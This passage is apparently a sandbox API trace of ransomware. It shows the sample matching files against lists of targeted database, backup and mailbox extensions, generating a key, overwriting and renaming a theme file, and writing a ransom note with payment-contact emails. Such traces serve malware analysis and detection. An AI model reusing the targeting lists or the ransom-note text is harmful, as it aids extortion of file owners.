	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".txt") returned 0x0
	[0086.599] lstrlenW (lpString=".mdt") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".mdt") returned 0x0
	[0086.599] lstrlenW (lpString=".BDB") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".BDB") returned 0x0
	[0086.599] lstrlenW (lpString=".eql") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".eql") returned 0x0
	[0086.599] lstrlenW (lpString=".DBF") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DBF") returned 0x0
	[0086.599] lstrlenW (lpString=".EQL") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".EQL") returned 0x0
	[0086.599] lstrlenW (lpString=".FDB") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".FDB") returned 0x0
	[0086.599] lstrlenW (lpString=".EDB") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".EDB") returned 0x0
	[0086.599] lstrlenW (lpString=".DACPAC") returned 7
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DACPAC") returned 0x0
	[0086.599] lstrlenW (lpString=".VHD") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".VHD") returned 0x0
	[0086.599] lstrlenW (lpString=".DBV") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DBV") returned 0x0
	[0086.599] lstrlenW (lpString=".dacpac") returned 7
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dacpac") returned 0x0
	[0086.600] lstrlenW (lpString=".sdf") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".sdf") returned 0x0
	[0086.600] lstrlenW (lpString=".accdb") returned 6
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".accdb") returned 0x0
	[0086.600] lstrlenW (lpString=".DBX") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DBX") returned 0x0
	[0086.600] lstrlenW (lpString=".MDT") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".MDT") returned 0x0
	[0086.600] lstrlenW (lpString=".SQB") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".SQB") returned 0x0
	[0086.600] lstrlenW (lpString=".vhd") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".vhd") returned 0x0
	[0086.600] lstrlenW (lpString=".bac") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".bac") returned 0x0
	[0086.600] lstrlenW (lpString=".mdf") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".mdf") returned 0x0
	[0086.600] lstrlenW (lpString=".BAK") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".BAK") returned 0x0
	[0086.600] lstrlenW (lpString=".BAC") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".BAC") returned 0x0
	[0086.600] lstrlenW (lpString=".dbs") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dbs") returned 0x0
	[0086.600] lstrlenW (lpString=".vhdx") returned 5
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".vhdx") returned 0x0
	[0086.600] lstrlenW (lpString=".NDF") returned 4
	[0086.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".NDF") returned 0x0
	[0086.601] lstrlenW (lpString=".dat") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dat") returned 0x0
	[0086.601] lstrlenW (lpString=".DBS") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DBS") returned 0x0
	[0086.601] lstrlenW (lpString=".CKP") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".CKP") returned 0x0
	[0086.601] lstrlenW (lpString=".edb") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".edb") returned 0x0
	[0086.601] lstrlenW (lpString=".PST") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".PST") returned 0x0
	[0086.601] lstrlenW (lpString=".dbf") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dbf") returned 0x0
	[0086.601] lstrlenW (lpString=".SQL") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".SQL") returned 0x0
	[0086.601] lstrlenW (lpString=".pst") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".pst") returned 0x0
	[0086.601] lstrlenW (lpString=".dbv") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dbv") returned 0x0
	[0086.601] lstrlenW (lpString=".SDF") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".SDF") returned 0x0
	[0086.601] lstrlenW (lpString=".dtxs") returned 5
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dtxs") returned 0x0
	[0086.601] lstrlenW (lpString=".db3") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".db3") returned 0x0
	[0086.601] lstrlenW (lpString=".OST") returned 4
	[0086.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".OST") returned 0x0
	[0086.602] lstrlenW (lpString=".dbx") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dbx") returned 0x0
	[0086.602] lstrlenW (lpString=".DB3") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DB3") returned 0x0
	[0086.602] lstrlenW (lpString=".DAT") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DAT") returned 0x0
	[0086.602] lstrlenW (lpString=".VHDX") returned 5
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".VHDX") returned 0x0
	[0086.602] lstrlenW (lpString=".ndf") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".ndf") returned 0x0
	[0086.602] lstrlenW (lpString=".DB") returned 3
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DB") returned 0x0
	[0086.602] lstrlenW (lpString=".sql") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".sql") returned 0x0
	[0086.602] lstrlenW (lpString=".MYD") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".MYD") returned 0x0
	[0086.602] lstrlenW (lpString=".DBT") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DBT") returned 0x0
	[0086.602] lstrlenW (lpString=".ACCDB") returned 6
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".ACCDB") returned 0x0
	[0086.602] lstrlenW (lpString=".fdb") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".fdb") returned 0x0
	[0086.602] lstrlenW (lpString=".bak") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".bak") returned 0x0
	[0086.602] lstrlenW (lpString=".myd") returned 4
	[0086.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".myd") returned 0x0
	[0086.602] lstrlenW (lpString=".DTXS") returned 5
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".DTXS") returned 0x0
	[0086.603] lstrlenW (lpString=".ckp") returned 4
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".ckp") returned 0x0
	[0086.603] lstrlenW (lpString=".dbt") returned 4
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".dbt") returned 0x0
	[0086.603] lstrlenW (lpString=".db") returned 3
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".db") returned 0x0
	[0086.603] lstrlenW (lpString=".TXT") returned 4
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".TXT") returned 0x0
	[0086.603] lstrlenW (lpString=".MDF") returned 4
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".MDF") returned 0x0
	[0086.603] lstrlenW (lpString=".bdb") returned 4
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".bdb") returned 0x0
	[0086.603] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.603] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.603] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.604] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.604] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.605] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20659476068) returned 1
	[0086.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d6e0810, dwHighDateTime=0x1d60e1e)) 
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9b68
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9b68 | out: hHeap=0x300000) returned 1
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0086.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0086.605] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.606] GetLastError () returned 0x0
	[0086.606] GetLastError () returned 0x0
	[0086.606] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.606] GetLastError () returned 0x0
	[0086.606] GetLastError () returned 0x0
	[0086.609] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffe5f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.609] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1a1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1a1, lpOverlapped=0x0) returned 1
	[0086.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.610] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.610] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.610] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.610] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.610] CloseHandle (hObject=0x128) returned 1
	[0086.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.~~~~")) returned 1
	[0086.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0086.611] GetLastError () returned 0x0
	[0086.614] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.614] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.615] CloseHandle (hObject=0x128) returned 1
	[0086.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ed8 | out: hHeap=0x300000) returned 1
	[0086.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6178 | out: hHeap=0x300000) returned 1
	[0086.616] RtlWakeConditionVariable () returned 0x365f70
	[0086.616] GetCurrentThreadId () returned 0xaf0
	[0086.616] GetCurrentThreadId () returned 0xaf0
	[0086.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8ee8 | out: hHeap=0x300000) returned 1
	[0086.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9af8 | out: hHeap=0x300000) returned 1
	[0086.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8ee8
	[0086.616] lstrlenW (lpString=".scr") returned 4
	[0086.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0086.616] lstrlenW (lpString=".cmd") returned 4
	[0086.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0086.616] lstrlenW (lpString=".dll") returned 4
	[0086.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0086.616] lstrlenW (lpString=".bat") returned 4
	[0086.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0086.616] lstrlenW (lpString=".cpl") returned 4
	[0086.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0086.616] lstrlenW (lpString=".sys") returned 4
	[0086.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0086.616] lstrlenW (lpString=".msc") returned 4
	[0086.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0086.616] lstrlenW (lpString=".com") returned 4
	[0086.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0086.617] lstrlenW (lpString=".lnk") returned 4
	[0086.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0086.617] lstrlenW (lpString=".msp") returned 4
	[0086.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0086.617] lstrlenW (lpString=".pif") returned 4
	[0086.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0086.617] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.618] lstrlenW (lpString=".sqb") returned 4
	[0086.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.618] lstrlenW (lpString=".ost") returned 4
	[0086.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.618] lstrlenW (lpString=".txt") returned 4
	[0086.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.618] lstrlenW (lpString=".mdt") returned 4
	[0086.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.618] lstrlenW (lpString=".BDB") returned 4
	[0086.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.618] lstrlenW (lpString=".eql") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.619] lstrlenW (lpString=".DBF") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.619] lstrlenW (lpString=".EQL") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.619] lstrlenW (lpString=".FDB") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.619] lstrlenW (lpString=".EDB") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.619] lstrlenW (lpString=".DACPAC") returned 7
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.619] lstrlenW (lpString=".VHD") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.619] lstrlenW (lpString=".DBV") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.619] lstrlenW (lpString=".dacpac") returned 7
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.619] lstrlenW (lpString=".sdf") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.619] lstrlenW (lpString=".accdb") returned 6
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.619] lstrlenW (lpString=".DBX") returned 4
	[0086.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.620] lstrlenW (lpString=".MDT") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.620] lstrlenW (lpString=".SQB") returned 4
